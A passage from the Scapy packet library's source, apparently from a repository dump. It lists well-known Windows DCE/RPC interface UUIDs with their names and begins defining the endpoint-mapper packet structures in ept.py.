\"IEventSystem\"),\n    (uuid.UUID(\"4e6cdcc9-fb25-4fd5-9cc5-c9f4b6559cec\"), \"IComTrackingInfoEvents\"),\n    (uuid.UUID(\"4e934f30-341a-11d1-8fb1-00a024cb6019\"), \"INtmsLibraryControl1\"),\n    (uuid.UUID(\"4f7ca01c-a9e5-45b6-b142-2332a1339c1d\"), \"IWRMAccounting\"),\n    (uuid.UUID(\"4fc742e0-4a10-11cf-8273-00aa004ae673\"), \"netdfs\"),\n    (uuid.UUID(\"503626a3-8e14-4729-9355-0fe664bd2321\"), \"IUpdateExceptionCollection\"),\n    (uuid.UUID(\"50abc2a4-574d-40b3-9d66-ee4fd5fba076\"), \"DnsServer\"),\n    (\n        uuid.UUID(\"515c1277-2c81-440e-8fcf-367921ed4f59\"),\n        \"IFsrmPipelineModuleDefinition\",\n    ),\n    (uuid.UUID(\"5261574a-4572-206e-b268-6b199213b4e4\"), \"asyncemsmdb\"),\n    (uuid.UUID(\"52c80b95-c1ad-4240-8d89-72e9fa84025e\"), \"IClusCfgAsyncEvictCleanup\"),\n    (uuid.UUID(\"538684e0-ba3d-4bc0-aca9-164aff85c2a9\"), \"IVdsDiskPartitionMF\"),\n    (uuid.UUID(\"53b46b02-c73b-4a3e-8dee-b16b80672fc0\"), \"TSVIPPublic\"),\n    (uuid.UUID(\"541679ab-2e5f-11d3-b34e-00104bcc4b4a\"), \"IWbemLoginHelper\"),\n    (uuid.UUID(\"5422fd3a-d4b8-4cef-a12e-e87d4ca22e90\"), \"ICertRequestD2\"),\n    (uuid.UUID(\"54a2cb2d-9a0c-48b6-8a50-9abb69ee2d02\"), \"IUpdateDownloadContent\"),\n    (uuid.UUID(\"59602eb6-57b0-4fd8-aa4b-ebf06971fe15\"), \"IWRMPolicy\"),\n    (uuid.UUID(\"5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc\"), \"msgsvcsend\"),\n    (\n        uuid.UUID(\"5b5a68e6-8b9f-45e1-8199-a95ffccdffff\"),\n        \"IAppHostConstantValueCollection\",\n    ),\n    (uuid.UUID(\"5b821720-f63b-11d0-aad2-00c04fc324db\"), \"dhcpsrv2\"),\n    (uuid.UUID(\"5ca4a760-ebb1-11cf-8611-00a0245420ed\"), \"IcaApi\"),\n    (uuid.UUID(\"5f6325d3-ce88-4733-84c1-2d6aefc5ea07\"), \"IFsrmFileScreen\"),\n    (uuid.UUID(\"5ff9bdf6-bd91-4d8b-a614-d6317acc8dd8\"), \"IRemoteSstpCertCheck\"),\n    (uuid.UUID(\"6099fc12-3eff-11d0-abd0-00c04fd91a4e\"), \"faxclient\"),\n    (uuid.UUID(\"6139d8a4-e508-4ebb-bac7-d7f275145897\"), \"IRemoteIPV6Config\"),\n    (uuid.UUID(\"615c4269-7a48-43bd-96b7-bf6ca27d6c3e\"), \"IWindowsDriverUpdate2\"),\n    (uuid.UUID(\"64ff8ccc-b287-4dae-b08a-a72cbf45f453\"), \"IAppHostElement\"),\n    (uuid.UUID(\"6619a740-8154-43be-a186-0319578e02db\"), \"IRemoteDispatch\"),\n    (uuid.UUID(\"66a2db1b-d706-11d0-a37b-00c04fc9da04\"), \"IRemoteNetworkConfig\"),\n    (uuid.UUID(\"66a2db20-d706-11d0-a37b-00c04fc9da04\"), \"IRemoteRouterRestart\"),\n    (uuid.UUID(\"66a2db21-d706-11d0-a37b-00c04fc9da04\"), \"IRemoteSetDnsConfig\"),\n    (uuid.UUID(\"66a2db22-d706-11d0-a37b-00c04fc9da04\"), \"IRemoteICFICSConfig\"),\n    (uuid.UUID(\"673425bf-c082-4c7c-bdfd-569464b8e0ce\"), \"IAutomaticUpdates\"),\n    (uuid.UUID(\"6788faf9-214e-4b85-ba59-266953616e09\"), \"IVdsVolumeMF3\"),\n    (uuid.UUID(\"67e08fc2-2984-4b62-b92e-fc1aae64bbbb\"), \"IRemoteStringIdConfig\"),\n    (uuid.UUID(\"6879caf9-6617-4484-8719-71c3d8645f94\"), \"IFsrmReportScheduler\"),\n    (uuid.UUID(\"69ab7050-3059-11d1-8faf-00a024cb6019\"), \"INtmsObjectInfo1\"),\n    (uuid.UUID(\"6a92b07a-d821-4682-b423-5c805022cc4d\"), \"IUpdate\"),\n    (uuid.UUID(\"6b5bdd1e-528c-422c-af8c-a4079be4fe48\"), \"RemoteFW\"),\n    (uuid.UUID(\"6bffd098-a112-3610-9833-012892020162\"), \"browser\"),\n    (uuid.UUID(\"6bffd098-a112-3610-9833-46c3f874532d\"), \"dhcpsrv\"),\n    (uuid.UUID(\"6bffd098-a112-3610-9833-46c3f87e345a\"), \"wkssvc\"),\n    (uuid.UUID(\"6c935649-30a6-4211-8687-c4c83e5fe1c7\"), \"IContainerControl2\"),\n    (uuid.UUID(\"6cd6408a-ae60-463b-9ef1-e117534d69dc\"), \"IFsrmAction\"),\n    (uuid.UUID(\"6e6f6b40-977c-4069-bddd-ac710059f8c0\"), \"IVdsAdvancedDisk\"),\n    (uuid.UUID(\"6f4dbfff-6920-4821-a6c3-b7e94c1fd60c\"), \"IFsrmPathMapper\"),\n    (uuid.UUID(\"708cca10-9569-11d1-b2a5-0060977d8118\"), \"dscomm2\"),\n    (uuid.UUID(\"70b51430-b6ca-11d0-b9b9-00a0c922e750\"), \"IMSAdminBaseW\"),\n    (uuid.UUID(\"70cf5c82-8642-42bb-9dbc-0cfd263c6c4f\"), \"IWindowsDriverUpdate5\"),\n    (uuid.UUID(\"72ae6713-dcbb-4a03-b36b-371f6ac6b53d\"), \"IVdsVolume2\"),\n    (uuid.UUID(\"75c8f324-f715-4fe3-a28e-f9011b61a4a1\"), \"IVdsOpenVDisk\"),\n    (uuid.UUID(\"76b3b17e-aed6-4da5-85f0-83587f81abe3\"), \"IUpdateService\"),\n    (uuid.UUID(\"76d12b80-3467-11d3-91ff-0090272f9ea3\"), \"qmcomm2\"),\n    (uuid.UUID(\"76f03f96-cdfd-44fc-a22c-64950a001209\"), \"IRemoteWinspool\"),\n    (uuid.UUID(\"77df7a80-f298-11d0-8358-00a024c480a8\"), \"dscomm\"),\n    (uuid.UUID(\"784b693d-95f3-420b-8126-365c098659f2\"), \"IOCSPAdminD\"),\n    (uuid.UUID(\"7883ca1c-1112-4447-84c3-52fbeb38069d\"), \"IAppHostMethod\"),\n    (uuid.UUID(\"7c44d7d4-31d5-424c-bd5e-2b3e1f323d22\"), \"dsaop\"),\n    (uuid.UUID(\"7c4e1804-e342-483d-a43e-a850cfcc8d18\"), \"IIISApplicationAdmin\"),\n    (uuid.UUID(\"7c857801-7381-11cf-884d-00aa004b2e24\"), \"IWbemObjectSink\"),\n    (uuid.UUID(\"7c907864-346c-4aeb-8f3f-57da289f969f\"), \"IImageInformation\"),\n    (uuid.UUID(\"7d07f313-a53f-459a-bb12-012c15b1846e\"), \"IRobustNtmsMediaServices1\"),\n    (uuid.UUID(\"7f43b400-1a0e-4d57-bbc9-6b0c65f7a889\"), \"IAlternateLaunch\"),\n    (uuid.UUID(\"7fb7ea43-2d76-4ea8-8cd9-3decc270295e\"), \"IEventClass3\"),\n    (uuid.UUID(\"7fe0d935-dda6-443f-85d0-1cfb58fe41dd\"), \"ICertAdminD2\"),\n    (uuid.UUID(\"811109bf-a4e1-11d1-ab54-00a0c91e9b45\"), \"winsi2\"),\n    (uuid.UUID(\"8165b19e-8d3a-4d0b-80c8-97de310db583\"), \"IServicedComponentInfo\"),\n    (uuid.UUID(\"816858a4-260d-4260-933a-2585f1abc76b\"), \"IUpdateSession\"),\n    (uuid.UUID(\"81ddc1b8-9d35-47a6-b471-5b80f519223b\"), \"ICategory\"),\n    (uuid.UUID(\"82273fdc-e32a-18c3-3f78-827929dc23ea\"), \"eventlog\"),\n    (uuid.UUID(\"8276702f-2532-4839-89bf-4872609a2ea4\"), \"IFsrmActionEmail2\"),\n    (uuid.UUID(\"8298d101-f992-43b7-8eca-5052d885b995\"), \"IMSAdminBase2W\"),\n    (uuid.UUID(\"82ad4280-036b-11cf-972c-00aa006887b0\"), \"inetinfo\"),\n    (uuid.UUID(\"8326cd1d-cf59-4936-b786-5efc08798e25\"), \"IVdsAdviseSink\"),\n    (\n        uuid.UUID(\"832a32f7-b3ea-4b8c-b260-9a2923001184\"),\n        \"IAppHostConfigLocationCollection\",\n    ),\n    (uuid.UUID(\"833e4100-aff7-4ac3-aac2-9f24c1457bce\"), \"IPCHCollection\"),\n    (uuid.UUID(\"833e41aa-aff7-4ac3-aac2-9f24c1457bce\"), \"ISAFSession\"),\n    (uuid.UUID(\"83bfb87f-43fb-4903-baa6-127f01029eec\"), \"IVdsSubSystemImportTarget\"),\n    (uuid.UUID(\"85713fa1-7796-4fa2-be3b-e2d6124dd373\"), \"IWindowsUpdateAgentInfo\"),\n    (uuid.UUID(\"86d35949-83c9-4044-b424-db363231fd0c\"), \"ITaskSchedulerService\"),\n    (uuid.UUID(\"879c8bbe-41b0-11d1-be11-00c04fb6bf70\"), \"IClientSink\"),\n    (uuid.UUID(\"88143fd0-c28d-4b2b-8fef-8d882f6a9390\"), \"TermSrvEnumeration\"),\n    (uuid.UUID(\"88306bb2-e71f-478c-86a2-79da200a0f11\"), \"IVdsVolume\"),\n    (uuid.UUID(\"894de0c0-0d55-11d3-a322-00c04fa321a1\"), \"InitShutdown\"),\n    (uuid.UUID(\"895a2c86-270d-489d-a6c0-dc2a9b35280e\"), \"INtmsObjectManagement2\"),\n    (uuid.UUID(\"897e2e5f-93f3-4376-9c9c-fd2277495c27\"), \"FrsTransport\"),\n    (uuid.UUID(\"8bb68c7d-19d8-4ffb-809e-be4fc1734014\"), \"IFsrmQuotaManager\"),\n    (\n        uuid.UUID(\"8bed2c68-a5fb-4b28-8581-a0dc5267419f\"),\n        \"IAppHostPropertySchemaCollection\",\n    ),\n    (uuid.UUID(\"8db2180e-bd29-11d1-8b7e-00c04fd7a924\"), \"IRegister\"),\n    (uuid.UUID(\"8dd04909-0e34-4d55-afaa-89e1f1a1bbb9\"), \"IFsrmFileGroup\"),\n    (uuid.UUID(\"8f09f000-b7ed-11ce-bbd2-00001a181cad\"), \"dimsvc\"),\n    (uuid.UUID(\"8f45abf1-f9ae-4b95-a933-f0f66e5056ea\"), \"IUpdateSearcher\"),\n    (uuid.UUID(\"8f4b2f5d-ec15-4357-992f-473ef10975b9\"), \"IVdsDisk3\"),\n    (uuid.UUID(\"8f6d760f-f0cb-4d69-b5f6-848b33e9bdc6\"), \"IAppHostConfigManager\"),\n    (uuid.UUID(\"8fb6d884-2388-11d0-8c35-00c04fda2795\"), \"W32Time\"),\n    (uuid.UUID(\"90681b1d-6a7f-48e8-9061-31b7aa125322\"), \"IVdsDiskOnline\"),\n    (uuid.UUID(\"906b0ce0-c70b-1067-b317-00dd010662da\"), \"IXnRemote\"),\n    (uuid.UUID(\"918efd1e-b5d8-4c90-8540-aeb9bdc56f9d\"), \"IUpdateSession3\"),\n    (uuid.UUID(\"91ae6020-9e3c-11cf-8d7c-00aa00c091be\"), \"ICertPassage\"),\n    (uuid.UUID(\"91caf7b0-eb23-49ed-9937-c52d817f46f7\"), \"IUpdateSession2\"),\n    (uuid.UUID(\"943991a5-b3fe-41fa-9696-7f7b656ee34b\"), \"IWRMMachineGroup\"),\n    (uuid.UUID(\"9556dc99-828c-11cf-a37e-00aa003240c7\"), \"IWbemServices\"),\n    (uuid.UUID(\"96deb3b5-8b91-4a2a-9d93-80a35d8aa847\"), \"IFsrmCommittableCollection\"),\n    (uuid.UUID(\"971668dc-c3fe-4ea1-9643-0c7230f494a1\"), \"IRegister2\"),\n    (uuid.UUID(\"97199110-db2e-11d1-a251-0000f805ca53\"), \"ITransactionStream\"),\n    (uuid.UUID(\"9723f420-9355-42de-ab66-e31bb15beeac\"), \"IVdsAdvancedDisk2\"),\n    (uuid.UUID(\"98315903-7be5-11d2-adc1-00a02463d6e7\"), \"IReplicationUtil\"),\n    (uuid.UUID(\"9882f547-cfc3-420b-9750-00dfbec50662\"), \"IVdsCreatePartitionEx\"),\n    (uuid.UUID(\"99cc098f-a48a-4e9c-8e58-965c0afc19d5\"), \"IEventSystem2\"),\n    (uuid.UUID(\"99fcfec4-5260-101b-bbcb-00aa0021347a\"), \"IObjectExporter\"),\n    (uuid.UUID(\"9a2bf113-a329-44cc-809a-5c00fce8da40\"), \"IFsrmQuotaTemplateImported\"),\n    (uuid.UUID(\"9aa58360-ce33-4f92-b658-ed24b14425b8\"), \"IVdsSwProvider\"),\n    (uuid.UUID(\"9b0353aa-0e52-44ff-b8b0-1f7fa0437f88\"), \"IUpdateServiceCollection\"),\n    (uuid.UUID(\"9be77978-73ed-4a9a-87fd-13f09fec1b13\"), \"IAppHostAdminManager\"),\n    (uuid.UUID(\"9cbe50ca-f2d2-4bf4-ace1-96896b729625\"), \"IVdsDiskPartitionMF2\"),\n    (\n        uuid.UUID(\"9d07ca0d-8f02-4ed5-b727-acf37fea5bbc\"),\n        \"ISingleSignonRemoteMasterSecret\",\n    ),\n    (uuid.UUID(\"a0e8f27a-888c-11d1-b763-00c04fb926af\"), \"IEventSystemInitialize\"),\n    (uuid.UUID(\"a2efab31-295e-46bb-b976-e86d58b52e8b\"), \"IFsrmQuotaTemplate\"),\n    (uuid.UUID(\"a359dec5-e813-4834-8a2a-ba7f1d777d76\"), \"IWbemBackupRestoreEx\"),\n    (uuid.UUID(\"a35af600-9cf4-11cd-a076-08002b2bd711\"), \"type_scard_pack\"),\n    (uuid.UUID(\"a376dd5e-09d4-427f-af7c-fed5b6e1c1d6\"), \"IUpdateException\"),\n    (uuid.UUID(\"a4f1db00-ca47-1067-b31f-00dd010662da\"), \"emsmdb\"),\n    (\n        uuid.UUID(\"a7f04f3c-a290-435b-aadf-a116c3357a5c\"),\n        \"IUpdateHistoryEntryCollection\",\n    ),\n    (uuid.UUID(\"a8927a41-d3ce-11d1-8472-006008b0e5ca\"), \"ICatalogTableInfo\"),\n    (uuid.UUID(\"a8e0653c-2744-4389-a61d-7373df8b2292\"), \"FileServerVssAgent\"),\n    (uuid.UUID(\"ad55f10b-5f11-4be7-94ef-d9ee2e470ded\"), \"IFsrmFileGroupImported\"),\n    (uuid.UUID(\"ada4e6fb-e025-401e-a5d0-c3134a281f07\"), \"IAppHostConfigFile\"),\n    (uuid.UUID(\"ae1c7110-2f60-11d3-8a39-00c04f72d8e3\"), \"IVssEnumObject\"),\n    (uuid.UUID(\"afa8bd80-7d8a-11c9-bef4-08002b102989\"), \"mgmt\"),\n    (uuid.UUID(\"afc052c2-5315-45ab-841b-c6db0e120148\"), \"IFsrmClassificationRule\"),\n    (uuid.UUID(\"afc07e2e-311c-4435-808c-c483ffeec7c9\"), \"lsacap\"),\n    (uuid.UUID(\"b057dc50-3059-11d1-8faf-00a024cb6019\"), \"INtmsObjectManagement1\"),\n    (uuid.UUID(\"b07fedd4-1682-4440-9189-a39b55194dc5\"), \"IVdsIscsiInitiatorAdapter\"),\n    (uuid.UUID(\"b196b284-bab4-101a-b69c-00aa00341d07\"), \"IConnectionPointContainer\"),\n    (uuid.UUID(\"b196b285-bab4-101a-b69c-00aa00341d07\"), \"IEnumConnectionPoints\"),\n    (uuid.UUID(\"b196b286-bab4-101a-b69c-00aa00341d07\"), \"IConnectionPoint\"),\n    (uuid.UUID(\"b196b287-bab4-101a-b69c-00aa00341d07\"), \"IEnumConnections\"),\n    (uuid.UUID(\"b383cd1a-5ce9-4504-9f63-764b1236f191\"), \"IWindowsDriverUpdate\"),\n    (uuid.UUID(\"b481498c-8354-45f9-84a0-0bdd2832a91f\"), \"IVdsVdProvider\"),\n    (uuid.UUID(\"b60040e0-bcf3-11d1-861d-0080c729264d\"), \"IGetTrackingData\"),\n    (uuid.UUID(\"b6b22da8-f903-4be7-b492-c09d875ac9da\"), \"IVdsServiceUninstallDisk\"),\n    (\n        uuid.UUID(\"b7d381ee-8860-47a1-8af4-1f33b2b1f325\"),\n        \"IAppHostSectionDefinitionCollection\",\n    ),\n    (uuid.UUID(\"b80f3c42-60e0-4ae0-9007-f52852d3dbed\"), \"IAppHostMethodInstance\"),\n    (uuid.UUID(\"b9785960-524f-11df-8b6d-83dcded72085\"), \"ISDKey\"),\n    (uuid.UUID(\"b97db8b2-4c63-11cf-bff6-08002be23f2f\"), \"clusapi\"),\n    (uuid.UUID(\"b97db8b2-4c63-11cf-bff6-08002be23f2f\"), \"clusapi\"),\n    (\n        uuid.UUID(\"bb36ea26-6318-4b8c-8592-f72dd602e7a5\"),\n        \"IFsrmClassifierModuleDefinition\",\n    ),\n    (uuid.UUID(\"bb39332c-bfee-4380-ad8a-badc8aff5bb6\"), \"INtmsNotifySink\"),\n    (uuid.UUID(\"bba9cb76-eb0c-462c-aa1b-5d8c34415701\"), \"Claims\"),\n    (\n        uuid.UUID(\"bc5513c8-b3b8-4bf7-a4d4-361c0d8c88ba\"),\n        \"IUpdateDownloadContentCollection\",\n    ),\n    (uuid.UUID(\"bc681469-9dd9-4bf4-9b3d-709f69efe431\"), \"IWRMResourceGroup\"),\n    (uuid.UUID(\"bd0c73bc-805b-4043-9c30-9a28d64dd7d2\"), \"IIISCertObj\"),\n    (uuid.UUID(\"bd7c23c2-c805-457c-8f86-d17fe6b9d19f\"), \"IClusterLogEx\"),\n    (uuid.UUID(\"bde95fdf-eee0-45de-9e12-e5a61cd0d4fe\"), \"RCMPublic\"),\n    (uuid.UUID(\"be56a644-af0e-4e0e-a311-c1d8e695cbff\"), \"IUpdateHistoryEntry\"),\n    (uuid.UUID(\"bee7ce02-df77-4515-9389-78f01c5afc1a\"), \"IFsrmFileScreenException\"),\n    (uuid.UUID(\"c1c2f21a-d2f4-4902-b5c6-8a081c19a890\"), \"IUpdate5\"),\n    (uuid.UUID(\"c2be6970-df9e-11d1-8b87-00c04fd7a924\"), \"IImport\"),\n    (uuid.UUID(\"c2bfb780-4539-4132-ab8c-0a8772013ab6\"), \"IUpdateHistoryEntry2\"),\n    (uuid.UUID(\"c3fcc19e-a970-11d2-8b5a-00a0c9b7c9c4\"), \"IManagedObject\"),\n    (uuid.UUID(\"c49e32c7-bc8b-11d2-85d4-00105a1f8304\"), \"IWbemBackupRestore\"),\n    (uuid.UUID(\"c4b0c7d9-abe0-4733-a1e1-9fdedf260c7a\"), \"IADProxy2\"),\n    (uuid.UUID(\"c5c04795-321c-4014-8fd6-d44658799393\"), \"IAppHostSectionDefinition\"),\n    (uuid.UUID(\"c5cebee2-9df5-4cdd-a08c-c2471bc144b4\"), \"IResourceManager\"),\n    (uuid.UUID(\"c681d488-d850-11d0-8c52-00c04fd90f7e\"), \"efsrpc\"),\n    (uuid.UUID(\"c726744e-5735-4f08-8286-c510ee638fb6\"), \"ICatalogUtils2\"),\n    (uuid.UUID(\"c8550bff-5281-4b1e-ac34-99b6fa38464d\"), \"IAppHostElementCollection\"),\n    (uuid.UUID(\"c97ad11b-f257-420b-9d9f-377f733f6f68\"), \"IUpdateDownloadContent2\"),\n    (uuid.UUID(\"cb0df960-16f5-4495-9079-3f9360d831df\"), \"IFsrmRule\"),\n    (uuid.UUID(\"ccd8c074-d0e5-4a40-92b4-d074faa6ba28\"), \"Witness\"),\n    (uuid.UUID(\"cfadac84-e12c-11d1-b34c-00c04f990d54\"), \"IExport\"),\n    (\n        uuid.UUID(\"cfe36cba-1949-4e74-a14f-f1d580ceaf13\"),\n        \"IFsrmFileScreenTemplateManager\",\n    ),\n    (uuid.UUID(\"d02e4be0-3419-11d1-8fb1-00a024cb6019\"), \"INtmsMediaServices1\"),\n    (uuid.UUID(\"d049b186-814f-11d1-9a3c-00c04fc9b232\"), \"NtFrsApi\"),\n    (uuid.UUID(\"d2d79df5-3400-11d0-b40b-00aa005ff586\"), \"IVolumeClient\"),\n    (uuid.UUID(\"d2d79df7-3400-11d0-b40b-00aa005ff586\"), \"IDMNotify\"),\n    (uuid.UUID(\"d2dc89da-ee91-48a0-85d8-cc72a56f7d04\"), \"IFsrmClassificationManager\"),\n    (uuid.UUID(\"d40cff62-e08c-4498-941a-01e25f0fd33c\"), \"ISearchResult\"),\n    (uuid.UUID(\"d4781cd6-e5d3-44df-ad94-930efe48a887\"), \"IWbemLoginClientID\"),\n    (uuid.UUID(\"d5d23b6d-5a55-4492-9889-397a3c2d2dbc\"), \"IVdsAsync\"),\n    (uuid.UUID(\"d646567d-26ae-4caa-9f84-4e0aad207fca\"), \"IFsrmActionEmail\"),\n    (uuid.UUID(\"d68168c9-82a2-4f85-b6e9-74707c49a58f\"), \"IVdsVolumeShrink\"),\n    (uuid.UUID(\"d6c7cd8f-bb8d-4f96-b591-d3a5f1320269\"), \"IAppHostMethodCollection\"),\n    (uuid.UUID(\"d8cc81d9-46b8-4fa4-bfa5-4aa9dec9b638\"), \"IFsrmReport\"),\n    (uuid.UUID(\"d95afe70-a6d5-4259-822e-2c84da1ddb0d\"), \"WindowsShutdown\"),\n    (uuid.UUID(\"d99bdaae-b13a-4178-9fdb-e27f16b4603e\"), \"IVdsHwProvider\"),\n    (uuid.UUID(\"d99e6e70-fc88-11d0-b498-00a0c90312f3\"), \"ICertRequestD\"),\n    (uuid.UUID(\"d99e6e71-fc88-11d0-b498-00a0c90312f3\"), \"ICertAdminD\"),\n    (uuid.UUID(\"d9a59339-e245-4dbd-9686-4d5763e39624\"), \"IInstallationBehavior\"),\n    (uuid.UUID(\"da5a86c5-12c2-4943-ab30-7f74a813d853\"), \"PerflibV2\"),\n    (uuid.UUID(\"db90832f-6910-4d46-9f5e-9fd6bfa73903\"), \"INtmsLibraryControl2\"),\n    (uuid.UUID(\"dc12a681-737f-11cf-884d-00aa004b2e24\"), \"IWbemClassObject\"),\n    (uuid.UUID(\"dde02280-12b3-4e0b-937b-6747f6acb286\"), \"IUpdateServiceRegistration\"),\n    (uuid.UUID(\"de095db1-5368-4d11-81f6-efef619b7bcf\"), \"IAppHostCollectionSchema\"),\n    (uuid.UUID(\"deb01010-3a37-4d26-99df-e2bb6ae3ac61\"), \"IVolumeClient4\"),\n    (uuid.UUID(\"e0393303-90d4-4a97-ab71-e9b671ee2729\"), \"IVdsServiceLoader\"),\n    (\n        uuid.UUID(\"e1010359-3e5d-4ecd-9fe4-ef48622fdf30\"),\n        \"IFsrmFileScreenTemplateImported\",\n    ),\n    (uuid.UUID(\"e1af8308-5d1f-11c9-91a4-08002b14a0fa\"), \"ept\"),\n    (uuid.UUID(\"e33c0cc4-0482-101a-bc0c-02608c6ba218\"), \"LocToLoc\"),\n    (uuid.UUID(\"e3514235-4b06-11d1-ab04-00c04fc2dcd2\"), \"drsuapi\"),\n    (uuid.UUID(\"e3d0d746-d2af-40fd-8a7a-0d7078bb7092\"), \"BitsPeerAuth\"),\n    (uuid.UUID(\"e65e8028-83e8-491b-9af7-aaf6bd51a0ce\"), \"IServerHealthReport\"),\n    (uuid.UUID(\"e7927575-5cc3-403b-822e-328a6b904bee\"), \"IAppHostPathMapper\"),\n    (uuid.UUID(\"e7a4d634-7942-4dd9-a111-82228ba33901\"), \"IAutomaticUpdatesResults\"),\n    (uuid.UUID(\"e8fb8620-588f-11d2-9d61-00c04f79c5fe\"), \"IIisServiceControl\"),\n    (uuid.UUID(\"e946d148-bd67-4178-8e22-1c44925ed710\"), \"IFsrmPropertyDefinitionValue\"),\n    (uuid.UUID(\"ea0a3165-4834-11d2-a6f8-00c04fa346cc\"), \"fax\"),\n    (uuid.UUID(\"eafe4895-a929-41ea-b14d-613e23f62b71\"), \"IAppHostPropertyException\"),\n    (uuid.UUID(\"ed35f7a1-5024-4e7b-a44d-07ddaf4b524d\"), \"IAppHostProperty\"),\n    (uuid.UUID(\"ed8bfe40-a60b-42ea-9652-817dfcfa23ec\"), \"IWindowsDriverUpdateEntry\"),\n    (uuid.UUID(\"ede0150f-e9a3-419c-877c-01fe5d24c5d3\"), \"IFsrmPropertyDefinition\"),\n    (uuid.UUID(\"ee2d5ded-6236-4169-931d-b9778ce03dc6\"), \"IVdsVolumeMF\"),\n    (\n        uuid.UUID(\"ee321ecb-d95e-48e9-907c-c7685a013235\"),\n        \"IFsrmFileManagementJobManager\",\n    ),\n    (uuid.UUID(\"ef13d885-642c-4709-99ec-b89561c6bc69\"), \"IAppHostElementSchema\"),\n    (uuid.UUID(\"eff90582-2ddc-480f-a06d-60f3fbc362c3\"), \"IStringCollection\"),\n    (uuid.UUID(\"f131ea3e-b7be-480e-a60d-51cb2785779e\"), \"IExport2\"),\n    (uuid.UUID(\"f1e9c5b2-f59b-11d2-b362-00105a1f8177\"), \"IWbemRemoteRefresher\"),\n    (uuid.UUID(\"f309ad18-d86a-11d0-a075-00c04fb68820\"), \"IWbemLevel1Login\"),\n    (uuid.UUID(\"f31931a9-832d-481c-9503-887a0e6a79f0\"), \"IWRMProtocol\"),\n    (uuid.UUID(\"f3637e80-5b22-4a2b-a637-bbb642b41cfc\"), \"IFsrmFileScreenBase\"),\n    (uuid.UUID(\"f411d4fd-14be-4260-8c40-03b7c95e608a\"), \"IFsrmSetting\"),\n    (uuid.UUID(\"f4a07d63-2e25-11d1-9964-00c04fbbb345\"), \"IEnumEventObject\"),\n    (uuid.UUID(\"f5cc59b4-4264-101a-8c59-08002b2f8426\"), \"frsrpc\"),\n    (uuid.UUID(\"f5cc5a18-4264-101a-8c59-08002b2f8426\"), \"nspi\"),\n    (uuid.UUID(\"f612954d-3b0b-4c56-9563-227b7be624b4\"), \"IMSAdminBase3W\"),\n    (uuid.UUID(\"f6beaff7-1e19-4fbb-9f8f-b89e2018337c\"), \"IEventService\"),\n    (uuid.UUID(\"f76fbf3b-8ddd-4b42-b05a-cb1c3ff1fee8\"), \"IFsrmCollection\"),\n    (uuid.UUID(\"f82e5729-6aba-4740-bfc7-c7f58f75fb7b\"), \"IFsrmAutoApplyQuota\"),\n    (uuid.UUID(\"f89ac270-d4eb-11d1-b682-00805fc79216\"), \"IEventObjectCollection\"),\n    (uuid.UUID(\"fa7660f6-7b3f-4237-a8bf-ed0ad0dcbbd9\"), \"IAppHostWritableAdminManager\"),\n    (uuid.UUID(\"fa7df749-66e7-4986-a27f-e2f04ae53772\"), \"IVssSnapshotMgmt\"),\n    (uuid.UUID(\"fb2b72a0-7a68-11d1-88f9-0080c7d771bf\"), \"IEventClass\"),\n    (uuid.UUID(\"fb2b72a1-7a68-11d1-88f9-0080c7d771bf\"), \"IEventClass2\"),\n    (uuid.UUID(\"fbc1d17d-c498-43a0-81af-423ddd530af6\"), \"IEventSubscription3\"),\n    (uuid.UUID(\"fc5d23e8-a88b-41a5-8de0-2d2f73c5a630\"), \"IVdsServiceSAN\"),\n    (uuid.UUID(\"fc910418-55ca-45ef-b264-83d4ce7d30e0\"), \"IWRMRemoteSessionMgmt\"),\n    (uuid.UUID(\"fdb3a030-065f-11d1-bb9b-00a024ea5525\"), \"qmcomm\"),\n    (uuid.UUID(\"ff4fa04e-5a94-4bda-a3a0-d5b4d3c52eba\"), \"IFsrmFileScreenManager\"),\n]\n\nfor uid, name in _DCE_RPC_WELL_KNOWN_UUIDS:\n    DCE_RPC_INTERFACES_NAMES[uid] = name\n    DCE_RPC_INTERFACES_NAMES_rev[name.lower()] = uid\n"
  },
  {
    "path": "scapy/layers/msrpce/ept.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nEPT map (EndPoinT mapper)\n\"\"\"\n\nimport uuid\n\nfrom scapy.config import conf\nfrom scapy.fields import (\n    ByteEnumField,\n    ConditionalField,\n    FieldLenField,\n    IPField,\n    LEShortField,\n    MultipleTypeField,\n    PacketListField,\n    ShortField,\n    StrLenField,\n    UUIDEnumField,\n)\nfrom scapy.packet import Packet\nfrom scapy.layers.dcerpc import (\n    DCE_RPC_INTERFACES_NAMES_rev,\n    DCE_RPC_INTERFACES_NAMES,\n    DCE_RPC_PROTOCOL_IDENTIFIERS,\n    DCE_RPC_TRANSFER_SYNTAXES,\n)\n\nfrom scapy.layers.msrpce.raw.ept import *  # noqa: F401, F403\n\n\n# [C706] Appendix L\n\n# \"For historical reasons, this cannot be done using the standard\n# NDR encoding rules for marshalling and unmarshalling.\n# A special encoding is required.\" - Appendix L\n\n\nclass octet_string_t(Packet):\n    fields_desc = [\n        FieldLenField(\"count\", None, fmt=\"<H\", length_of=\"value\"),\n        StrLenField(\"value\", b\"\", length_from=lambda pkt: pkt.count),\n    ]\n\n    def default_payload_class(self, _):\n        return conf.padding_layer\n\n\ndef _uuid_res(x):\n    # Look in both DCE_RPC_INTERFACES_NAMES and DCE_RPC_TRANSFER_SYNTAXES\n    dct = DCE_RPC_INTERFACES_NAMES.copy()\n    dct.update(DCE_RPC_TRANSFER_SYNTAXES)\n    return dct.get(x)\n\n\ndef _uuid_res_rev(x):\n    # Same but reversed\n    dct = DCE_RPC_INTERFACES_NAMES_rev.copy()\n    dct.update({v: k for k, v in DCE_RPC_TRANSFER_SYNTAXES.items()})\n    return dct.get(x)\n\n\nclass prot_and_addr_t(Packet):\n    fields_desc = [\n        # --- LHS\n        LEShortField(\n            \"lhs_length\",\n            0,\n        ),\n        ByteEnumField(\n            \"protocol_identifier\",\n            0,\n            DCE_RPC_PROTOCOL_IDENTIFIERS,\n        ),\n        # 0x0\n        ConditionalField(\n            StrLenField(\"oid\", \"\", length_from=lambda pkt: pkt.lhs_length - 1),\n            lambda pkt: pkt.protocol_identifier == 0x0,\n        ),\n        # 0xD\n        ConditionalField(\n            UUIDEnumField(\n                \"uuid\",\n                uuid.UUID(\"8a885d04-1ceb-11c9-9fe8-08002b104860\"),\n                (\n                    # Those are dynamic\n                    _uuid_res,\n                    _uuid_res_rev,\n                ),\n                uuid_fmt=UUIDEnumField.FORMAT_LE,\n            ),\n            lambda pkt: 